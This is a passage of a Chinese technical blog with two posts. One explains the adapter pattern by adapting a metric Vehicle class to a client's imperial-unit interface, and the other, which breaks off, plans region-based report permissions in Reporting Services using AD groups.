假设我们以前开发过一个项目,他提供一个类Vehicle,用来表示所有交通工具,能够提供该物体的运动状态和改变状态的方法,例如启动、制动、加速、减速、转向、前进、后退等功能。但是这个类提供方法计算距离的单位是公制,也就是按照米来计算的。
但是后来有另外一个项目,也需要上述的功能,只不过要求按照英制来计算距离。而且这个英国客户已经定义了一个接口,其中各方法不但方法名称不同,而且计算距离的制式是采取英制的。
遇到这种情况,一方面可以修改已有代码,再建立一套适合英制的版本。但这不是最好的办法,会导增加后期版本维护的问题。
为了达到既能满足新项目接口规范的要求,又对已有项目的影响最小。我们可以采取适配器模式定义另外一个类,这个类需要继承自我们已有的类Vehicle,然后实现客户定义的接口。然后在实现代码中对各种距离参数进行制式转换后,传递给基类Vehicle去按照公制处理。这样我们只需要向这个英国客户公布新定义的类,例如是Vehicle2。他就可以通过这个类来访问你以前的代码。因为这个类实现了客户定义的接口,所以对客户的代码是兼容的。而且这种方式下客户的开发工作可以不受我们开发进度的影响,只要他们的代码是规范的使用这个接口,就不存在问题。
所以我总结适配器模式,有利于代码重用,能够让不同小组同步开发。当然前提是事先要规划好接口,如果接口都一变再变,那么可能会导致很多意想不到的问题出现。
洪虎
2006-10-18
2006年10月14日
Reporting Services 是报表集中化管理的一个很好的工具。但现在有一个项目要求对同一个报表需要按照不同登录者所管辖的区域,分别给予不同的授权。也就是说报表输出的格式大家看到的都一样,但是要根据登录者不同的部门或区域给出他们各自管辖区域的统计结果。
例如:一个销售报表用于统计每个门店,每日销售的数量和金额。那么总监级别的人员就可以看到所有店铺的销售数据,但是负责广东区域的区域经理就只能看到广东区所有店铺的销售数据,负责广西的区域经理只能看到广西区所有店铺的销售数据,再往下走各个城市的销售主管就只能看到他们自己的城市的所有店铺的销售数据。
我是这样规划的,使用Reporting Services与AD集成的权限,在AD中将这些用户按照部门和区域进行分组。然后在Reporting Services中建立一个树型目录如下图。
销售部 销售总监 广东区 深圳 广州 广西区   |